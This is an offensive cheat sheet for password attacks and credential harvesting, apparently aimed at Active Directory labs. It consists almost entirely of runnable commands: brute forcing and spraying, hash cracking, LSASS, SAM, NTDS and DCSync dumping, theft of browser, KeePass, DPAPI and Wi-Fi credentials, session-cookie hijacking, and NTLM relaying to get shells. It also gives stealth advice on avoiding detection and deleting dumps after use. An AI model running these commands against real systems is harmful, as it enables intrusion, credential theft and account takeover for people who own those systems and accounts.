Password Attacks & Credential Harvesting

┌─────────────────────────────────────────────────────────┐  
│ Plaintext → stored in files, memory, registry           │  
│ NTLM Hash → Windows password hash (MD4)                 │  
│ Net-NTLMv1/2 → challenge-response hash (NOT crackable   │  
│ for PTH — must crack or relay)                          │  
│ Kerberos TGT → ticket in LSASS memory                   │  
│ DPAPI Blob → encrypted credential stores                │  
│ SSH Keys → private keys in .ssh/                        │  
│ Browser Creds→ saved passwords in browser profile       │  
└─────────────────────────────────────────────────────────┘

# Via CrackMapExec
crackmapexec smb <DC_IP> -u <valid_user> -p '<password>' --pass-pol

# Via enum4linux
enum4linux -P <DC_IP>

# Via LDAP query
ldapsearch -x -H ldap://<DC_IP> -b "dc=lab,dc=local" \
  "(objectClass=domainPolicy)" lockoutThreshold lockoutDuration

# Inside a Windows session
net accounts /domain

# SSH
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<TARGET_IP>
hydra -L users.txt -P passwords.txt ssh://<TARGET_IP> -t 4

# FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://<TARGET_IP>

# SMB
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt smb://<TARGET_IP>

# RDP
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt rdp://<TARGET_IP>

# WinRM
hydra -l Administrator -P /usr/share/wordlists/rockyou.txt winrm://<TARGET_IP>

# HTTP Basic Auth
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-get://<TARGET_IP>/admin

# HTTP POST form
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  <TARGET_IP> http-post-form \
  "/login.php:username=^USER^&password=^PASS^:Invalid credentials"

# Throttle requests (avoid lockout)
hydra -l admin -P passwords.txt ssh://<TARGET_IP> -t 1 -W 3
# -t 1 = 1 thread, -W 3 = 3 second wait

# Test single creds against single target
crackmapexec smb <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec winrm <TARGET_IP> -u Administrator -p 'Pass123!'
crackmapexec ssh <TARGET_IP> -u root -p 'Pass123!'

# Spray one password across many users
crackmapexec smb <DC_IP> -u users.txt -p 'Winter2024!' --continue-on-success

# Spray many passwords against one user
crackmapexec smb <DC_IP> -u Administrator -p passwords.txt --continue-on-success

# Password spray across entire subnet
crackmapexec smb <SUBNET>/24 -u users.txt -p 'Password123' --continue-on-success

# Pass-the-Hash spray
crackmapexec smb <SUBNET>/24 -u Administrator -H <NTLM_HASH> --continue-on-success

# SSH brute force
medusa -h <TARGET_IP> -u root -P /usr/share/wordlists/rockyou.txt -M ssh

# SMB
medusa -h <TARGET_IP> -u Administrator -P passwords.txt -M smbnt

# Multiple hosts
medusa -H hosts.txt -u admin -P passwords.txt -M ssh -t 2

# spray.sh — built to respect lockout thresholds
./spray.sh smb <DC_IP> users.txt 'Password123' 1 35 lab.local

# kerbrute — Kerberos-based spray (stealthy — no domain logon events for invalid users)
kerbrute passwordspray -d lab.local --dc <DC_IP> users.txt 'Password123'
kerbrute bruteuser -d lab.local --dc <DC_IP> passwords.txt Administrator

# Identify hash type
hashcat --identify hash.txt
# OR: hash-identifier, haiti

# ─── Attack Modes ───
# -a 0 = Dictionary (straight)
# -a 1 = Combination (two wordlists combined)
# -a 3 = Brute-force / mask
# -a 6 = Wordlist + mask
# -a 7 = Mask + wordlist

# ─── Common Cracking Commands ───

# NTLM — dictionary
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

# NTLM — dictionary + rules (best-64 is fast, powerful)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /usr/share/hashcat/rules/best64.rule

# NTLM — dictionary + OneRuleToRuleThemAll (very powerful)
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt \
  -r /opt/OneRuleToRuleThemAll.rule

# Net-NTLMv2 (Responder captures)
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt

# Kerberoast (RC4)
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r best64.rule

# AS-REPRoast
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

# MSCACHE v2 (domain cached credentials)
hashcat -m 2100 mscache.hash /usr/share/wordlists/rockyou.txt

# Linux SHA-512 (shadow)
hashcat -m 1800 shadow.hash /usr/share/wordlists/rockyou.txt

# Linux MD5 (shadow)
hashcat -m 500 shadow.hash /usr/share/wordlists/rockyou.txt

# bcrypt
hashcat -m 3200 bcrypt.hash /usr/share/wordlists/rockyou.txt

# Brute-force mask — 8 char, uppercase+lowercase+digit
hashcat -m 1000 hashes.txt -a 3 ?u?l?l?l?l?l?d?d

# Hybrid — wordlist + 4 digits
hashcat -m 1000 hashes.txt -a 6 /usr/share/wordlists/rockyou.txt ?d?d?d?d

# Show cracked passwords
hashcat -m 1000 hashes.txt --show

# Restore session
hashcat --session mysession --restore

# Auto-detect hash and crack
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Specify hash format
john hashes.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
john hashes.txt --format=sha512crypt --wordlist=/usr/share/wordlists/rockyou.txt

# Linux /etc/shadow
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Rules
john hashes.txt --wordlist=rockyou.txt --rules=best64

# Show cracked
john hashes.txt --show

# Convert to john format (using python scripts)
# For zip: zip2john archive.zip > hash.txt
# For pdf: pdf2john file.pdf > hash.txt
# For ssh: ssh2john id_rsa > hash.txt
# For keepass: keepass2john db.kdbx > hash.txt

zip2john secret.zip > zip.hash
john zip.hash --wordlist=/usr/share/wordlists/rockyou.txt

keepass2john Database.kdbx > keepass.hash
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt

:: Requires: SYSTEM or local admin + SeDebugPrivilege

:: Enable SeDebugPrivilege
mimikatz.exe "privilege::debug"

:: Dump all logon passwords (LSASS)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

:: Dump NTLM hashes only
mimikatz.exe "privilege::debug" "sekurlsa::msv" exit

:: Dump Kerberos tickets
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" exit

:: Dump WDigest (plaintext — only works on pre-Win8.1 or if WDigest enabled)
mimikatz.exe "privilege::debug" "sekurlsa::wdigest" exit

:: One-liner
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > C:\loot\creds.txt

# Method 1: Task Manager (GUI) — Right-click lsass.exe → Create dump file
# Copies lsass.DMP to C:\Users\<user>\AppData\Local\Temp\

# Method 2: ProcDump (Microsoft signed — less AV detection)
procdump.exe -ma lsass.exe lsass.dmp
procdump.exe -ma -n 2 lsass.exe lsass.dmp

# Method 3: comsvcs.dll (built-in Windows — very stealthy)
# Run from SYSTEM or with SeDebugPrivilege
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump \
  <LSASS_PID> C:\Windows\Temp\lsass.dmp full

# Find LSASS PID
tasklist | findstr lsass

# Method 4: CrackMapExec (remote dump)
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' -M lsassy
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' --lsa

# Analyze the dump on attacker machine
pypykatz lsa minidump lsass.dmp         # Linux
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit  # Windows

# SAM stores local user NTLM hashes
# Requires: local admin / SYSTEM

# Method 1: reg save (hive extraction — works online)
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Transfer to attacker and parse
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL

# Method 2: Impacket secretsdump (remote)
secretsdump.py lab.local/admin:Pass123!@<TARGET_IP>
secretsdump.py -hashes :<NTLM> lab.local/admin@<TARGET_IP>

# Method 3: CrackMapExec
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' --sam

# Method 4: Mimikatz
mimikatz.exe "privilege::debug" "lsadump::sam" exit

# Requires: Domain Admin OR specific rights (DCSync / Replicating Directory Changes)
# Simulates a DC replication request — no code runs on the DC itself

# Mimikatz DCSync — single user
mimikatz.exe "privilege::debug" \
  "lsadump::dcsync /domain:lab.local /user:Administrator" exit

# Dump ALL domain hashes
mimikatz.exe "privilege::debug" \
  "lsadump::dcsync /domain:lab.local /all /csv" exit

# Impacket secretsdump (from Linux — cleanest method)
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc-user krbtgt
secretsdump.py -hashes :<NTLM> lab.local/da_user@<DC_IP> -just-dc

# Output includes: NTLM, Kerberos AES128/AES256, historic hashes

# LSA secrets stores service account passwords, scheduled task passwords, etc.
# Often contains plaintext or easily reversible credentials

# Impacket
secretsdump.py lab.local/admin:Pass123!@<TARGET_IP> -just-lsa

# Mimikatz
mimikatz.exe "privilege::debug" "lsadump::secrets" exit

# CrackMapExec
crackmapexec smb <TARGET_IP> -u admin -p 'Pass123!' --lsa

# NTDS.dit is the Active Directory database on Domain Controllers
# Contains ALL domain user hashes

# Method 1: ntdsutil shadow copy (must run ON the DC)
ntdsutil "ac i ntds" "ifm" "create full C:\ntds" q q
# Creates: C:\ntds\Active Directory\ntds.dit and C:\ntds\registry\SYSTEM

# Method 2: Volume Shadow Copy (VSS)
vssadmin create shadow /for=C:
# Note the shadow copy ID
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Temp\
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Temp\

# Method 3: secretsdump (if you have DA creds — parses remotely)
secretsdump.py lab.local/da_user:Pass123!@<DC_IP> -just-dc -outputfile allhashes

# Parse NTDS.dit offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# List stored credentials
cmdkey /list

# Dump vault via Mimikatz
mimikatz.exe "privilege::debug" "vault::cred" "vault::list" exit

# PowerShell — enumerate vault
[void][Windows.Security.Credentials.PasswordVault,
  Windows.Security.Credentials,
  ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object {
    $_.RetrievePassword()
    $_
}

# When a domain user logs into a machine not connected to DC,
# Windows caches their credentials (DCC2 format)
# Stored in: HKLM\SECURITY\Cache

# Dump via secretsdump
secretsdump.py lab.local/admin:Pass123!@<TARGET_IP> -just-dc -outputfile cache
# Look for: $DCC2$10240#username#hash

# Crack DCC2 (very slow — bcrypt-like)
hashcat -m 2100 cache.hash /usr/share/wordlists/rockyou.txt

# /etc/passwd — user list (readable by all)
cat /etc/passwd

# /etc/shadow — password hashes (readable only by root)
cat /etc/shadow
# Format: username:$id$salt$hash:...

# Combine and crack
unshadow /etc/passwd /etc/shadow > combined.txt
john combined.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 1800 combined.txt /usr/share/wordlists/rockyou.txt  # SHA-512
hashcat -m 500  combined.txt /usr/share/wordlists/rockyou.txt  # MD5

# Find private keys
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
find / -name "*.pem" -o -name "*.key" 2>/dev/null
find /home -name "authorized_keys" 2>/dev/null
find /root -name "*.key" 2>/dev/null

# Use found key
chmod 600 id_rsa
ssh -i id_rsa user@TARGET_IP

# Crack passphrase-protected key
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 22931 ssh.hash /usr/share/wordlists/rockyou.txt  # RSA

# Bash history — commands with passwords
cat ~/.bash_history
cat /root/.bash_history
cat /home/*/.bash_history

# Look for password patterns
grep -r "password\|passwd\|pwd\|secret\|key\|token" \
  /home/ /root/ /var/www/ /opt/ 2>/dev/null

# Config files with credentials
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" \
  -o -name "*.yaml" -o -name "*.yml" -o -name "*.env" 2>/dev/null |
  xargs grep -l "password\|passwd\|secret" 2>/dev/null

# .env files (web apps)
find / -name ".env" 2>/dev/null | xargs cat 2>/dev/null

# MySQL — root with no password
mysql -u root
mysql -u root -p

# MySQL credentials in config
cat /etc/mysql/debian.cnf
cat /var/lib/mysql/mysql.cnf
grep -r "password" /etc/mysql/ 2>/dev/null

# PHP web app configs
find /var/www -name "*.php" | xargs grep -i "password\|db_pass\|passwd" 2>/dev/null
cat /var/www/html/wp-config.php     # WordPress
cat /var/www/html/config.php

# PostgreSQL
cat /etc/postgresql/*/main/pg_hba.conf

:: Dump master keys (requires SYSTEM or user context)
mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\<GUID>" exit

:: Decrypt using domain backup key (if you have DA)
mimikatz.exe "lsadump::backupkeys /system:<DC_FQDN> /export" exit
mimikatz.exe "dpapi::masterkey /in:<GUID> /pvk:ntds_capi_backup.pvk" exit

:: Decrypt Chrome passwords (after dumping master key)
mimikatz.exe "dpapi::chrome /in:'%APPDATA%\Google\Chrome\User Data\Default\Login Data'" exit

# Dump DPAPI master keys and decrypt (with user NTLM hash)
dpapi.py masterkey -file <MASTERKEY_FILE> -hash <NTLM_HASH>

# Decrypt a credential blob
dpapi.py credential -file <CRED_FILE> -key <MASTER_KEY>

# Automated — CrackMapExec
crackmapexec smb <TARGET> -u admin -p 'Pass123!' -M dpapi
crackmapexec smb <TARGET> -u admin -p 'Pass123!' -M dpapi --options

# lsassy module (dumping + DPAPI decryption)
crackmapexec smb <TARGET> -u admin -p 'Pass123!' -M lsassy

# SharpDPAPI — .NET DPAPI tool via Sliver/execute-assembly
# Dump user masterkeys (if SYSTEM on the machine)
execute-assembly SharpDPAPI.exe masterkeys

# Decrypt all credentials using master keys
execute-assembly SharpDPAPI.exe credentials

# Triage (auto-decrypt all user blobs)
execute-assembly SharpDPAPI.exe triage

# Dump with domain backup key (DA required)
execute-assembly SharpDPAPI.exe backupkey /nowrap

# Chrome password database path (Windows)
# C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Login Data
# C:\Users\<user>\AppData\Local\Microsoft\Edge\User Data\Default\Login Data

# The SQLite DB is encrypted with DPAPI
# Approach 1: Copy DB + decrypt with Mimikatz (if you have user session)
mimikatz.exe "dpapi::chrome /in:'%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data'" exit

# Approach 2: SharpChrome (via execute-assembly)
execute-assembly SharpChrome.exe logins
execute-assembly SharpChrome.exe cookies

# Approach 3: HackBrowserData (cross-browser)
# https://github.com/moonD4rk/HackBrowserData
execute-assembly HackBrowserData.exe -b chrome -f json -o /tmp/results

# Firefox profile path (Windows)
# C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\

# Key files: logins.json, key4.db

# firepwd.py — decrypt Firefox passwords (no master password)
python3 firepwd.py -d "C:\Users\<user>\AppData\Roaming\Mozilla\Firefox\Profiles\<profile>\"

# Firefox_decrypt.py
python3 firefox_decrypt.py "C:\path\to\profile"

# LaZagne (automated)
execute-assembly LaZagne.exe browsers

# Steal session cookies to hijack authenticated sessions
# Chrome cookies: same DPAPI encryption as passwords

# SharpChrome — export all cookies
execute-assembly SharpChrome.exe cookies

# EditThisCookie / Cookie Editor browser extension (manual)
# Import JSON to hijack sessions in browser

# Find KeePass database files
find / -name "*.kdbx" 2>/dev/null
Get-ChildItem -Recurse -Include "*.kdbx" C:\ 2>$null

# Method 1: Crack the master password
keepass2john Database.kdbx > keepass.hash
john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt

# Method 2: Memory dump while KeePass is open (extracts master key from memory)
# KeeFarce / KeePassHax — inject into running KeePass process
execute-assembly KeeFarce.exe    # exports cleartext DB to CSV

# Method 3: Trigger export if KeePass is open (phishing / scheduled trigger)

:: List saved WiFi profiles
netsh wlan show profiles

:: Dump password for a specific profile
netsh wlan show profile name="NetworkName" key=clear

:: Dump ALL WiFi passwords
for /f "tokens=2 delims=:" %i in ('netsh wlan show profiles ^| findstr "Profile"') do (
  netsh wlan show profile name="%i" key=clear
)

# PowerShell — all WiFi passwords
$wlanProfiles = netsh wlan show profiles | Select-String "Profile" |
  ForEach-Object { ($_.Line -split ":").Trim() }[2]
$wlanProfiles | ForEach-Object {
  $pw = netsh wlan show profile "$_" key=clear | Select-String "Key Content"
  "$_ : $pw"
}

# Git credentials stored in plaintext
cat ~/.gitconfig
cat ~/.git-credentials

# Windows Credential Manager has git creds
cmdkey /list | findstr git

# Look for .git/config with credentials embedded
find / -name "*.git" -o -name ".git-credentials" 2>/dev/null
grep -r "http.*:.*@" ~/.gitconfig /home/*/.gitconfig 2>/dev/null

# truffleHog — scan git history for secrets
trufflehog git file://path/to/repo
trufflehog git https://github.com/target/repo.git

# AWS credentials
cat ~/.aws/credentials
cat ~/.aws/config

# Look for credentials files
find / -name "credentials" -path "*/.aws/*" 2>/dev/null
find / -name "*.pem" -path "*aws*" 2>/dev/null

# Environment variables
env | grep -i "aws\|secret\|key\|token"

# Windows
type %USERPROFILE%\.aws\credentials
reg query HKCU\Software\Amazon

# GCP
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/application_default_credentials.json

# Azure
cat ~/.azure/accessTokens.json

# Web applications
/var/www/html/wp-config.php      # WordPress
/var/www/html/configuration.php  # Joomla
/var/www/html/.env               # Laravel
/var/www/html/app/config/*.php   # Various

# FTP clients
~/.filezilla/sitemanager.xml
%APPDATA%\FileZilla\sitemanager.xml

# Remote desktop clients
%APPDATA%\mRemoteNG\confCons.xml
~/.remmina/

# VPN configs
find / -name "*.ovpn" -o -name "*.conf" 2>/dev/null | xargs grep -l "password" 2>/dev/null

# Start Responder (captures NTLMv2 hashes from network)
# Requires: network access to the same broadcast domain
sudo responder -I eth0 -rdwv

# Options:
# -r = enable RARP answers
# -d = enable DHCP
# -w = start WPAD rogue proxy
# -v = verbose

# Captured hashes saved to:
# /usr/share/responder/logs/SMB-NTLMv2-SSP-<TARGET_IP>.txt

# Crack the captured hash
hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2*.txt \
  /usr/share/wordlists/rockyou.txt

# When you can't crack the hash — RELAY it to another service
# Requirements: SMB signing disabled on target (check with CME)

# Check for unsigned targets
crackmapexec smb <SUBNET>/24 --gen-relay-list unsigned.txt

# Step 1: Disable SMB and HTTP in Responder (we relay, not capture)
nano /etc/responder/Responder.conf
# SMB = Off
# HTTP = Off

# Step 2: Start Responder (poisons only — no serving)
sudo responder -I eth0 -rdwv

# Step 3: Start ntlmrelayx (relay to target)
ntlmrelayx.py -tf unsigned.txt -smb2support

# When a user on network tries to access a nonexistent share:
# Responder captures → ntlmrelayx relays → get a shell or dump SAM

# Relay to specific target
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support

# Relay + execute command
ntlmrelayx.py -tf unsigned.txt -smb2support -c "whoami"

# Relay + interactive shell
ntlmrelayx.py -tf unsigned.txt -smb2support -i
# Listen with: nc 127.0.0.1 11000

# Relay + dump SAM
ntlmrelayx.py -tf unsigned.txt -smb2support --sam-file sam.txt

# Most Windows machines prefer IPv6 — mitm6 poisons IPv6 DNS
# No responder needed — works independently

# Start mitm6 to act as IPv6 DNS server
sudo mitm6 -d lab.local

# Simultaneously run ntlmrelayx
ntlmrelayx.py -6 -t ldaps://<DC_IP> -wh attacker.lab.local \
  -l /tmp/loot --delegate-access

# Captures and relays NTLM auth from IPv6 users → DC LDAP

# Capture all traffic
tcpdump -i eth0 -w capture.pcap

# Capture specific protocols
tcpdump -i eth0 port 445 -w smb.pcap    # SMB
tcpdump -i eth0 port 21 -w ftp.pcap     # FTP (plaintext)
tcpdump -i eth0 port 23 -w telnet.pcap  # Telnet (plaintext)
tcpdump -i eth0 port 110 -w pop3.pcap   # POP3 (plaintext)

# Extract credentials from pcap
net-creds pcap_file.pcap

# PCredz (credential extractor)
python3 Pcredz.py -f capture.pcap

# kerbrute — enumerate valid domain users via Kerberos (no lockout risk)
kerbrute userenum -d lab.local --dc <DC_IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# RID brute force via SMB (null session or guest)
crackmapexec smb <DC_IP> -u '' -p '' --rid-brute
crackmapexec smb <DC_IP> -u 'guest' -p '' --rid-brute

# Impacket lookupsid
lookupsid.py lab.local/anonymous@<DC_IP> 1000
lookupsid.py -no-pass lab.local/''@<DC_IP>

# LDAP user enum (authenticated)
ldapsearch -x -H ldap://<DC_IP> -b "dc=lab,dc=local" -D "lab\user" -w 'Pass' \
  "(objectClass=user)" sAMAccountName

# Find users without Kerberos pre-auth required
# (Impacket — from Linux)
GetNPUsers.py lab.local/ -dc-ip <DC_IP> -no-pass -usersfile users.txt -format hashcat

# Unauthenticated (if you have a valid user list)
GetNPUsers.py lab.local/ -dc-ip <DC_IP> -no-pass -request

# Authenticated
GetNPUsers.py lab.local/user:Pass123! -dc-ip <DC_IP> -request -format hashcat

# Rubeus (from Windows session)
rubeus asreproast /format:hashcat /nowrap
rubeus asreproast /user:targetuser /format:hashcat /nowrap

# Crack
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

# Request TGS tickets for SPN accounts — tickets encrypted with svc account password
# Impacket (from Linux)
GetUserSPNs.py lab.local/user:Pass123! -dc-ip <DC_IP> -request -outputfile kerb.hash

# Rubeus (from Windows)
rubeus kerberoast /outfile:kerb.hash /nowrap

# Targeted — single SPN
GetUserSPNs.py lab.local/user:Pass123! -dc-ip <DC_IP> -request-user svc_sql

# Crack
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt
hashcat -m 13100 kerb.hash /usr/share/wordlists/rockyou.txt -r best64.rule

# kerbrute — Kerberos spray (most stealthy — fewer logs)
kerbrute passwordspray -d lab.local --dc <DC_IP> users.txt 'Password123!'
kerbrute passwordspray -d lab.local --dc <DC_IP> users.txt 'Winter2024!'

# CrackMapExec — SMB spray
crackmapexec smb <DC_IP> -u users.txt -p 'Password123!' --continue-on-success

# Check policy before spraying
# Wait (lockout reset minutes + 1) between spray rounds

# Standard
/usr/share/wordlists/rockyou.txt          # 14M passwords
/usr/share/seclists/Passwords/            # multiple lists
/usr/share/seclists/Passwords/xato-net-10-million-passwords.txt

# Download SecLists
git clone https://github.com/danielmiessler/SecLists /usr/share/seclists

# Common corporate passwords
# Summer2023! Winter2024! Spring2024!
# Company123! Company2024! Company@123

# Crawl target website and build a wordlist from page content
cewl https://target.com -m 5 -d 3 -w target_words.txt
# -m 5 = min word length 5
# -d 3 = crawl depth 3

# Include email addresses
cewl https://target.com -m 5 -d 3 -e -w target_words.txt

# Now combine with rules
hashcat -m 1000 hashes.txt target_words.txt -r best64.rule

# Built-in rules
/usr/share/hashcat/rules/best64.rule        # fast, effective
/usr/share/hashcat/rules/rockyou-30000.rule # large, comprehensive
/usr/share/hashcat/rules/d3ad0ne.rule       # popular
/usr/share/hashcat/rules/Hob0Rules.rule     # corporate-focused

# OneRuleToRuleThemAll (external — very powerful)
wget https://github.com/NotSoSecure/password_cracking_rules/raw/master/OneRuleToRuleThemAll.rule

# Custom rule examples (create corporate.rule)
# l    = lowercase all
# u    = uppercase all
# c    = capitalize first
# $1   = append "1"
# $!   = append "!"
# ^20  = prepend "20"

# Common corporate rule:
# c $2 $0 $2 $4 $!   → Company2024!
# c $@               → Company@
# l $1 $2 $3         → password123

# Apply multiple rules
hashcat -m 1000 hashes.txt wordlist.txt -r rule1.rule -r rule2.rule

# CUPP — Common User Passwords Profiler
# Builds wordlist from target's personal info (name, DOB, pet, company)
python3 cupp.py -i

# Questions: first name, last name, birthdate, partner, pet, company...
# Generates: john1990! johnny@1990 JohnSmith123 etc.

# Mentalist (GUI) — advanced wordlist generation
# https://github.com/sc0tfree/mentalist

# Run ALL modules (Windows)
# Download: https://github.com/AlessandroZ/LaZagne/releases
lazagne.exe all
lazagne.exe all -oN output.txt   # save to file
lazagne.exe all -oJ output.json  # JSON output

# Run via Sliver execute-assembly (in-memory)
execute-assembly LaZagne.exe all

# Run specific categories
lazagne.exe browsers     # Chrome, Firefox, IE, Edge, Opera
lazagne.exe sysadmin     # WinSCP, PuTTY, mRemoteNG, FileZilla, RDPManager
lazagne.exe databases    # MySQL, MSSQL, Oracle, SQLite, PostgreSQL
lazagne.exe mails        # Thunderbird, Outlook
lazagne.exe games        # Steam, Battle.net
lazagne.exe memory       # KeePass, 1Password (from memory)
lazagne.exe wifi         # WiFi passwords
lazagne.exe windows      # DPAPI, Vault, AutoLogon, MSCache

# Linux
python3 laZagne.py all
python3 laZagne.py browsers
python3 laZagne.py chats
python3 laZagne.py databases
python3 laZagne.py sysadmin
python3 laZagne.py wifi

# 1. Use comsvcs.dll for LSASS dump (more stealthy than Mimikatz)
rundll32.exe comsvcs.dll MiniDump <PID> lsass.dmp full

# 2. Use secretsdump remotely (no code on DC)
secretsdump.py -hashes :<NTLM> da_user@<DC_IP> -just-dc

# 3. Use Kerberoast with AES — less detectable than RC4
rubeus kerberoast /tgtdeleg /rc4opsec /nowrap

# 4. Password spray with kerbrute — no failed logon events for invalid users
kerbrute passwordspray -d lab.local --dc <DC_IP> users.txt 'Password1'

# 5. Delete DPAPI dumps and credential files after use
del /f lsass.dmp SAM SYSTEM SECURITY

# 6. Spray once per day max — respect lockout reset window

# ─── CAPTURE ───
sudo responder -I eth0 -rdwv                # capture NTLMv2 via LLMNR
ntlmrelayx.py -tf unsigned.txt -smb2support  # relay captured hashes

# ─── DUMP ───
secretsdump.py domain/user:pass@<TARGET>    # SAM + LSA + cached
secretsdump.py domain/da:pass@<DC> -just-dc # NTDS.dit (all hashes)
crackmapexec smb <TARGET> -u admin -p pass --sam --lsa  # quick dump

# ─── CRACK ───
hashcat -m 1000  ntlm.hash rockyou.txt -r best64.rule    # NTLM
hashcat -m 5600  netv2.hash rockyou.txt                   # NTLMv2
hashcat -m 13100 kerb.hash  rockyou.txt -r best64.rule   # Kerberoast
hashcat -m 18200 asrep.hash rockyou.txt                   # AS-REP
hashcat -m 2100  cache.hash rockyou.txt                   # MSCACHE
hashcat -m 1800  sha512.hash rockyou.txt                  # Linux SHA-512

# ─── AD ATTACKS ───
GetUserSPNs.py domain/user:pass -dc-ip <DC> -request -outputfile k.hash  # Kerb
GetNPUsers.py domain/ -dc-ip <DC> -no-pass -usersfile u.txt -format hashcat  # ASREP
kerbrute passwordspray -d domain --dc <DC> users.txt 'Password1'  # spray

# ─── HARVEST ───
execute-assembly LaZagne.exe all             # all credentials
execute-assembly SharpChrome.exe logins      # browser passwords
mimikatz "dpapi::chrome ..." exit           # Chrome via DPAPI
netsh wlan show profile * key=clear         # WiFi passwords

# ─── SPRAY ───
crackmapexec smb <DC> -u users.txt -p 'Winter2024!' --continue-on-success
kerbrute passwordspray -d lab.local --dc <DC> users.txt 'Winter2024!'